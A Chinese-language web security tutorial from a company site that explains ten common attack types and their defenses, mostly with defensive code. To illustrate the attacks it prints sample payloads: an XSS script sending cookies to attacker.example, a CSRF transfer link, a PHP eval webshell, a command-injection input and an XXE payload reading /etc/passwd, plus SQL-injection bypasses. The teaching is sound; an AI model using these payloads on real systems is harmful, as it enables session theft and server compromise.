Web安全攻防实战：十大常见攻击类型与防御指南-北京尧图网络

1. 先聊聊为什么打了这么多年Web攻击还是防不住前阵子帮一家做电商的客户做安全巡检对方技术负责人挺自信说这几年WAF、IDS、日志审计全上了安全预算也没少花。结果我在一个已经下线但还能访问的旧后台页面上拿最简单的单引号试了一下登录框数据库直接报错把完整SQL语句都甩在了浏览器里。他盯着屏幕半天没说话。这件事特别典型。Web安全的难点从来不是“不知道有什么攻击”而是太多团队把安全当成“装几个盒子、跑几遍扫描器”的事对攻击原理和防御逻辑的理解停留在表面。攻击者只要找到一个你没覆盖到的角落前面所有投入都可能白费。这篇文章我会结合自己在实际渗透测试、应急响应和安全建设里的经验把Web领域最常见的十类攻击拆开讲清楚它到底怎么打进来的、为什么能打进来、防御上哪些做法是真的有效哪些只是心理安慰。内容偏实战适合正在做Web开发、运维、或刚转入安全方向的读者。这十类攻击分别是SQL注入、XSS跨站脚本、CSRF跨站请求伪造、SSRF服务端请求伪造、文件上传漏洞、命令注入与远程代码执行、反序列化攻击、XXE外部实体注入、越权与身份认证缺陷、DDoS拒绝服务攻击。下面逐个来。2. 整体视角把攻击当“业务逻辑”来理解2.1 攻击的本质是“输入没有按预期被处理”我见过很多新手安全工程师上来就背OWASP Top 10问你SQL注入是什么也能说得头头是道但一到实际项目就抓瞎。问题出在他们把攻击当成了“漏洞编号”而不是当成“输入与信任边界的博弈”。Web应用本质上是一个黑盒它接收用户的输入然后按照程序逻辑处理并返回结果。攻击者做的所有事情都是在试探一个边界这个输入除了被当作“数据”有没有可能被当作“代码”或“指令”去执行SQL注入是把输入拼进了SQL语句XSS是把输入拼进了HTML或JavaScript命令注入是把输入拼进了系统命令反序列化是把输入直接当成了对象构造指令。所以做防御时别只盯着“装什么设备”先想清楚我的应用在哪些地方接收了不可信输入这些输入最终会被拼接到哪些“解释器”里这个思考方式比背一百个漏洞类型都管用。2.2 动态防御的思路不要静态等攻击顺带提一个近年经常被讨论的概念——动态防御技术。传统防护是“已知特征匹配”WAF里存了一堆规则命中就拦截。但攻击者稍微做点变形比如SQL注入里加注释符、换大小写、用编码绕过规则就可能失效。动态防御的核心思路是让攻击者的探测行为本身失效。比如对输入做语义分析和规范化处理后再校验或者对可疑IP做动态封禁和蜜罐诱捕让攻击者每次探测得到的结果都不一样大大增加他的判断成本。我后面讲到的很多防御措施其实都带有这种“动态”思想——不是被动等规则命中而是从架构上让攻击失去意义。3. SQL注入永远是安全榜单的第一名3.1 为什么打了二十年还没绝迹SQL注入的原理我不重复太多一句话程序把用户输入直接拼接进了SQL语句导致输入被当作SQL代码执行。比如这样一个登录查询SELECT * FROM users WHERE username admin AND password 123456如果用户名输入的是admin --那SQL就变成了SELECT * FROM users WHERE username admin -- AND password 123456后面的密码校验被注释掉了攻击者不需要知道密码就能登录。这还只是最入门的玩法更严重的是联合查询、报错注入、布尔盲注、时间盲注最终目标基本都是为了拖库或者拿权限。到2024年了很多大厂核心系统早就不用拼接SQL了但我做巡检时依然能在一些老系统、外包系统、内部工具上看到这类问题。原因就三个历史代码没重构、开发者没受过安全培训、扫描器没扫到深层接口。3.2 防御实操中最有效的三件事第一参数化查询是底线。不管是Java的PreparedStatement、Python的execute带参数、还是PHP的PDO预处理都必须强制使用。这条做到了SQL注入基本就堵死了。下面是个对比Java里这样写是安全的String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement ps conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password);第二数据库账号最小权限。很多系统连接数据库用的是root或者dba权限一旦注入成功攻击者可以直接写文件、读文件、调用存储过程。正确做法是让应用账号只拥有它需要的那几张表的增删改查权限这样即使被注入损失也控制在单表范围内。第三输入校验要“白名单思维”。比如用户名只允许字母数字下划线长度限制而不是去过滤“select”“union”这些关键词。黑名单永远能被绕过因为攻击者可以用编码、注释、大小写、等价函数绕过去。我见过有人把select全换成selselectect做递归过滤的看着辛苦实际上还是可以绕。提示判断系统是否存在SQL注入别一上来就上sqlmap。先手工测几个点观察响应差异确认存在后再用工具扩大战果。直接跑工具容易触发封禁也容易被WAF干扰判断。4. XSS跨站脚本风险被严重低估的浏览器端漏洞4.1 反射型、存储型、DOM型怎么区分XSS的通俗理解是攻击者把JavaScript代码注入到页面里在别人浏览器中执行。它不像SQL注入那样直接拖库但危害一点都不小——可以窃取用户Cookie、模拟用户操作、篡改页面内容甚至结合浏览器漏洞拿到主机控制权。三种类型要分清反射型恶意脚本作为参数拼在URL里服务器原样回显到页面。需要诱导受害者点击恶意链接。存储型恶意脚本被保存到服务器数据库所有访问该页面的用户都会中招。比如在评论区提交scriptalert(1)/script只要不过滤就存进去。DOM型纯前端问题脚本是通过JavaScript操作DOM动态插入的服务端响应里根本看不到恶意代码。4.2 一个典型的存储型XSS攻击路径攻击者在评论区提交这段内容script fetch(https://attacker.example/steal?cookie document.cookie); /script如果服务端没做过滤直接存进数据库任何用户打开这个页面时脚本就会执行把当前用户的Cookie发到攻击者服务器。攻击者拿这个Cookie就能冒充用户登录。4.3 防御要从输出编码做起开发里最容易犯的错是只做输入过滤不做输出编码。其实XSS的防御核心在输出端数据在进入HTML上下文、属性上下文、JavaScript上下文、URL上下文时都要做对应语境的编码。以Java为例使用OWASP Java Encoder在模板里这样输出div% Encode.forHtml(userComment) %/div scriptvar name % Encode.forJavaScript(userName) %;/script同时在后端设置正确的Content-Type和X-Content-Type-Options: nosniff响应头并在Cookie上加上HttpOnly和Secure标志这样即使脚本注入了也没法通过document.cookie读到敏感Cookie。我踩过一个坑有次只给登录态Cookie加了HttpOnly但忽略了另一个存用户角色的Cookie没加结果XSS脚本把那个Cookie偷走攻击者直接伪造管理员角色。记住所有涉及权限判断的Cookie一个都不能漏。5. CSRF跨站请求伪造利用你的身份干坏事5.1 攻击者不偷密码只用你的登录态CSRF和XSS经常被搞混。XSS是攻击者往页面注入脚本CSRF是攻击者诱导你浏览器发送一个你以为合法的请求。原理是这样的你登录了银行网站浏览器里保留了会话Cookie。攻击者构造一个恶意页面里面有一张图片或者一个表单请求地址指向银行网站的转账接口img srchttps://bank.example/transfer?toattackeramount1000 /浏览器会自动带上银行的Cookie银行服务器看到请求里带了有效会话就认为是你本人操作转账被成功执行。整个过程攻击者根本不知道你的Cookie内容他只是“借用”了你的身份。5.2 开发中最容易漏掉的CSRF防御防CSRF最主流的手段是CSRF Token服务器生成一个随机token放在页面表单里提交时校验。因为攻击者的恶意页面无法拿到这个token请求自然就失败了。但要注意几个容易被漏掉的点接口如果是application/json类型很多后端框架默认不校验CSRF Token需要单独配置。跨域配置如果写得太宽比如Access-Control-Allow-Origin: *配合CORS漏洞攻击者可以发起带自定义头的请求绕过某些CSRF防护。GET请求里千万不要放写操作。我见过有系统把“删除用户”做成了GET接口这不仅仅是CSRF的问题爬虫爬一遍数据就没了。除了Token还可以用同源校验检查Origin和Referer头、二次验证敏感操作用短信验证码来加强。个人经验对于改密码、转账、删库这类高敏感操作短信验证码比任何Token都可靠。6. SSRF服务端请求伪造让服务器帮你打内网6.1 一个URL参数引发的内网漫游SSRF就是攻击者控制的输入被服务端拿去发起请求了。典型场景是“图片抓取”“URL预览”“Webhook回调”这类功能用户提供一个网址服务器去访问并返回内容。攻击者提交http://127.0.0.1:6379/服务端就去访问自己的Redis端口提交http://192.168.1.1/admin就可能探测到内网地址。配合Gopher协议之类的技巧甚至能直接打内网服务。我做过一次应急响应攻击者就是通过一个“导入头像URL”的功能扫出了内网一台没有密码的Redis然后写WebShell拿到服务器权限。整个链路里业务功能本身没有直接漏洞问题全出在服务端盲目信任输入URL。6.2 SSRF的防御方案对比防御方案优点缺点只允许HTTP/HTTPS协议实现简单堵住Gopher等危险协议无法限制内网地址解析URL后校验IP白名单能拦截内网IP存在DNS重绑定绕过风险使用代理网关统一出口能集中管控内网隔离效果好需要额外基础设施禁用重定向跟随防止利用302跳转绕过部分功能需要重定向需按需放开实测下来最稳的是解析URL → 解析DNS得到IP → 校验IP不是内网/保留地址 → 再发起请求并且关闭自动重定向。还有一个容易被忽略的点URL解析要用服务端语言自己的解析库不要用正则去匹配否则很容易被http://user127.0.0.1这种格式绕过。7. 文件上传漏洞从上传点直接拿下服务器7.1 上传一个“图片”就拿到WebShell文件上传漏洞是最危险的漏洞之一因为一旦让攻击者上传了可执行的脚本文件就等于给了他一把服务器的钥匙。经典玩法是上传一个包含PHP代码的图片马再用文件包含或者解析漏洞触发它。举个例子攻击者上传这样一个文件文件名是shell.php.jpg?php eval($_POST[cmd]); ?如果服务器配置了AddHandler或Nginx解析漏洞可能被当作PHP执行。更常见的是攻击者利用代码逻辑缺陷比如文件名白名单校验用的是扩展名后缀但上传后路径里保留的是拼接出来的原始文件名导致.php文件落盘。7.2 我见过最靠谱的上传防御设计第一内容校验优先于扩展名校验。用服务端的图像处理库重新编码图片而不是只读文件头几个字节。攻击者就算把PHP代码塞进图片重编码后代码也没了。这招叫“二次渲染”。第二文件名服务端重命名。别用用户上传的原始文件名统一改成随机字符串白名单后缀。很多攻击利用的是文件名里的特殊字符比如shell.php%00.jpg之类的历史截断漏洞。第三存储与执行分离。上传的文件放在独立存储OSS/CDN或者独立的文件服务器上和应用服务器隔离并且存储目录禁止执行脚本。很多托管服务天然支持这种配置直接用就行。第四用对象存储时注意Content-Type。我见过一个案例应用用的是阿里云OSS但用户上传HTML文件时Content-Type被设置成text/html结果苹果设备上的Safari直接渲染执行了变成存储型XSS。上传接口一定要按白名单指定Content-Type别让浏览器自作主张。8. 命令注入与远程代码执行最高危的漏洞类型8.1 从“拼接命令”到“直接调函数”命令注入是指用户输入被拼接到系统命令中比如一个“ping测试”功能import os ip request.GET.get(ip) os.system(ping -c 1 ip)攻击者输入127.0.0.1; cat /etc/passwd就实现了命令拼接执行。这类漏洞在老旧运维工具、网络设备管理页面里特别常见。远程代码执行更狠比如Python里有eval()、exec()PHP里有assert()Java有Runtime.exec()一旦处理了用户输入就能直接执行任意代码。曾经很火的Log4j2漏洞本质上也是日志里的用户可控内容被当作JNDI表达式执行。8.2 防御要“尽量少用系统命令”防御命令注入的首选是不要用系统命令。需要ping一个地址用Python的icmplib、Java的InetAddress.isReachable()这类库方法而不是os.system。需要处理文件用语言标准的文件API。很多命令注入漏洞根本不是“必须”存在的只是开发者贪图方便。实在绕不开系统命令时也绝不要用字符串拼接。正确做法是用数组参数传给执行函数让系统自己处理转义import subprocess subprocess.run([ping, -c, 1, ip], checkFalse)同时做好输入白名单校验比如IP地址就严格用正则校验成合法IPv4从源头上掐断注入可能性。这个系统里最好还要有命令执行监控告警一旦出现可疑进程立刻报警。9. 反序列化攻击把数据变成炸弹9.1 为什么“存个对象”都能被攻击反序列化是现代Web开发绕不开的技术。前后端通信、缓存存取、Session存储都会用到把对象序列化成字符串再恢复的过程。问题出在很多反序列化机制在恢复对象时会自动调用类里的一些魔术方法而攻击者可以精心构造序列化数据让这些方法执行恶意逻辑。典型的如Java的ObjectInputStream.readObject()、PHP的unserialize()、Python的pickle.loads()。我记得有一次朋友的公司被攻击最后排查出来就是因为Python的Redis缓存里用了pickle来序列化用户会话攻击者想办法往Redis里写了一段恶意pickle数据服务端一读取就执行了系统命令。9.2 防御实战的三个建议第一永远不要反序列化不可信数据。这是原则问题。用户传来什么JSON就用JSON解析器处理不要图方便直接走反序列化。第二如果一定要用做类白名单过滤。Java可以通过重写resolveClass方法限制允许反序列化的类只包含业务需要的白名单其他类一律抛出异常。第三认证与完整性校验。给序列化数据加MAC签名或者加密服务端先验签再反序列化攻击者没有密钥就伪造不了数据。这条同样适用于Cookie里的序列化数据。其实反序列化漏洞的触发链一般比较复杂对攻击者能力要求也高普通攻击者不一定玩得转。但一旦被利用危害基本就是RCE级别所以防御层必须严格对待。10. XXE外部实体注入老协议带来的新麻烦10.1 XML里的“万能外部实体”XXE是针对XML解析器的攻击核心在于XML规范允许定义外部实体解析器如果支持外部实体解析就可能被用来读本地文件、打内网端口。一段典型的攻击Payload?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root如果后端XML解析器没禁用外部实体xxe;就会被替换成/etc/passwd文件内容并返回到响应里。还可以用http://协议让服务器发起内部HTTP请求相当于SSRF。XXE最常出现在老旧的Java、PHP系统里尤其是那些用XML做接口通信的服务。现在很多系统已经转向JSON但银行接口、支付回调、企业内部系统里XML依然大量存在。10.2 怎么彻底关掉这个口子XXE的防御核心就一句话禁用外部实体解析。Java的DocumentBuilderFactory要这样设置DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);PHP则建议直接用libxml_disable_entity_loader(true)或者干脆不用simplexml_load_string而换成JSON解析。Python的lxml默认不解析外部实体但要留意某些库版本的行为差异。我现在做架构评审时看到XML解析相关代码会条件反射地多问一句外部实体禁了没这个问题早年不痛不痒现在却是高危标配值得每个开发者记在心里。11. 越权与身份认证缺陷最容易被忽视的逻辑洞11.1 水平越权和垂直越权越权漏洞不涉及任何“高深攻击技术”纯粹是业务逻辑缺陷。但它比很多技术漏洞都好用攻击者只要注册个普通账号就能通过改参数访问别人的数据。水平越权你登录自己的账号把URL里的/order?id100改成/order?id101如果后端没校验订单归属你就看到了别人的订单。垂直越权普通用户直接访问/admin/manageUser这个管理接口如果权限校验缺失就能执行管理员操作。为什么会发生越权因为很多开发只做了“登录校验”没做“权限校验”。登录校验保证你是合法用户权限校验才保证你只能干自己该干的事这两者完全是两回事。11.2 身份认证环节的常见坑身份认证本身也有很多坑。比如Session固定攻击、弱口令爆破、JWT密钥泄露、验证码逻辑绕过、密码重置流程漏洞。JWT是现在前后端分离项目的主流方案但我见过太多项目把HS256的密钥写成secret这种弱密钥攻击者从GitHub或者前端代码里搜到密钥直接伪造管理员Token。防御上注意用RS256非对称签名私钥只放服务端。密钥长度至少256位定期轮换。JWT载荷里不要放敏感信息它只是Base64编码不是加密。设置合理的过期时间并配合Redis做黑名单。访问控制最关键的还是后端加一个统一的权限中间件做鉴权而不是在各接口里各写各的。我在实际项目里会建议团队把“当前用户是否有权操作该资源”这种校验逻辑归一化避免漏网之鱼。12. DDoS与CC攻击流量层面的大规模消耗战12.1 从DDoS到CC攻击者的三板斧DDoS分布式拒绝服务的特点是攻击者控制大量僵尸主机同时向目标服务器发起海量请求把带宽和连接数打满。常见类型有SYN Flood、UDP Flood、ICMP Flood等。CC攻击是DDoS的应用层变种攻击者模拟真实用户不断请求消耗资源的接口比如搜索、登录、文件下载让服务器CPU和数据库被打满。慢速HTTP攻击则更阴险——攻击者建立连接后一直不发送完整请求占用服务器连接池慢慢把资源拖死。我见过最头疼的一次攻击对方用几千个代理IP模拟正常用户每个IP只发很少的请求WAF的IP封禁规则完全失灵最后是靠CDN的七层清洗和限速策略才压下去。所以防御DDoS一定要分层次。12.2 多层防御的实操配置第一层网络层靠云防护。国内主流云厂商基本都有DDoS高防产品遇到大规模流量攻击直接牵引清洗。小团队别想着自建防护来扛Gbps级别的攻击不现实。第二层应用层靠Nginx限流。以下配置可以应对大部分CC攻击limit_req_zone $binary_remote_addr zonemylimit:10m rate10r/s; server { location /api/login/ { limit_req zonemylimit burst20 nodelay; limit_conn conn_limit_per_ip 5; proxy_pass http://backend; } }这个配置的意思是每个IP每秒最多10个请求超过的排队瞬时突发最多20个多余的直接拒绝。同时每个IP最多保持5个并发连接。需要根据业务实际情况调整否则容易误伤正常用户。第三层业务层加验证码和风控。比如登录失败多次后要求图形验证码机器脚本基本就挡掉大半。关键接口还可以做行为分析识别出频率异常、轨迹异常的请求。注意处理DDoS攻击时头等大事是“保证可用性”而不是“找出攻击者”。攻击期间别花大量时间分析日志优先把高防牵引、CDN加速、限流策略全部打开先保住业务回头再慢慢溯源。13. 常见问题排查与实操心得13.1 写工具扫描器扫不出来漏洞是不是就没问题不是。扫描器只能覆盖已知路径和通用Payload业务逻辑漏洞越权、支付漏洞、组合型漏洞文件上传解析漏洞基本扫不出来。我建议把扫描器当作辅助工具人工测试重点在登录、支付、上传、导入导出、回调这些业务节点上。13.2 WAF能一劳永逸吗不能。WAF是过滤层能挡掉大量脚本小子但绕过手段一直在演进。编码绕过、分块传输、参数污染、用正常业务接口做跳板都能绕开WAF。WAF的价值在于提高攻击门槛而不是替代代码层的安全修复。13.3 怎么在开发流程里推进安全措施我踩过很多次坑发现最有效的是在CI/CD流水线里加“安全检查关卡”代码提交后自动跑SAST静态扫描构建后跑DAST动态扫描上线前做依赖库漏洞扫描。多花几分钟能拦住大部分低级问题比事后应急便宜得多。13.4 快速排查速查表现象可能原因优先排查方向访问量正常但CPU跑满CC攻击或慢速HTTP攻击Nginx连接数、后端慢查询数据库数据被篡改或新增不明账号SQL注入或越权审计日志、Web访问日志网页被插入不明跳转代码存储型XSS或服务器被篡改数据库内容、页面文件完整性服务器异常外连WebShell或命令注入进程列表、网络连接、可疑文件响应缓慢且出现大量异常状态码DDoS或爬虫流量走向、WAF拦截日志漏洞修复后仍被攻击同类问题存在其他入口全站接口清单排查我的习惯是每处理完一次攻击就更新一份自查清单把这次暴露出来的问题固化到下次评审的标准里。安全建设不是一次性工作而是持续对抗的过程能不能把经验沉淀下来比一两次应急的英雄表现更重要。14. 最后聊两句经验做Web安全这些年我最深的体会是安全能力的核心不在工具多贵、设备多全而在你对自己系统的理解有多深。一个知道业务哪里可能出问题的开发者抵得上十台默认配置的WAF。建议新手学攻击不是为了“炫技”而是用攻击者的视角检视自己的系统——当你能像攻击者一样思考防御才会真正有效。再分享一个小技巧每次上线前自己拿Burp Suite把核心请求全部改一遍参数看看后端有没有做权限校验。这个动作不花多少时间但能拦住我碰到的相当一部分高危问题。Web攻击与防御的攻防战会一直持续但把基本功做扎实的人永远不会太被动。

Web安全攻防实战：十大常见攻击类型与防御指南

相关推荐

get-shit-done 的 `--batch` 成组提问模式：把 Discuss Phase 的四轮单问压缩为一轮编号批量提问

Matlab实现PSO优化CNN的多输入单输出回归预测

SpringBoot+SSM双栈架构实战：美食平台高性能开发指南

更多资讯

AI Agent 从入门到实战：核心架构、工程挑战与落地实践详解

Flipper Zero 车库门安全测试实战：先分清编码类型，再选对方法

Arnis 完整指南：把真实地理数据 1:1 转换成 Minecraft 世界

免费电视盒子管理工具 TVBoxOSC，3 步让电视盒子物尽其用

ESP32 Arduino 开发环境一次搭对：从串口到首次上传的四层配置指南

Appsmith 的 Cursor AI 协作开发规范：.cursor 目录设计、规则体系与工程实践

今日更新

CopilotKit Vue Demo 与 React Demo 的 Parity 实现指南：路由、运行时端点与交互语义的全框架对齐

Harbor RBAC 实战：db_auth 模式下非管理员用户管理项目成员的完整验证与权限模型解析

STM32平衡车纯平衡程序从拆包到参数整定的完整调试指南

本周精选

超人会飞不算本事：系统稳定依赖清晰规则与边界设计

超人VS蜘蛛侠：拆解超级IP的影响力与传播方法论

基于CNN的调制信号识别：MATLAB实现时频图分类实战

本月热门

基于YOLO的焊缝缺陷检测：从数据标注到工业部署全流程实践

分布式服务的决策记录

创业产品的首版范围

读完文章，想聊聊您的网站？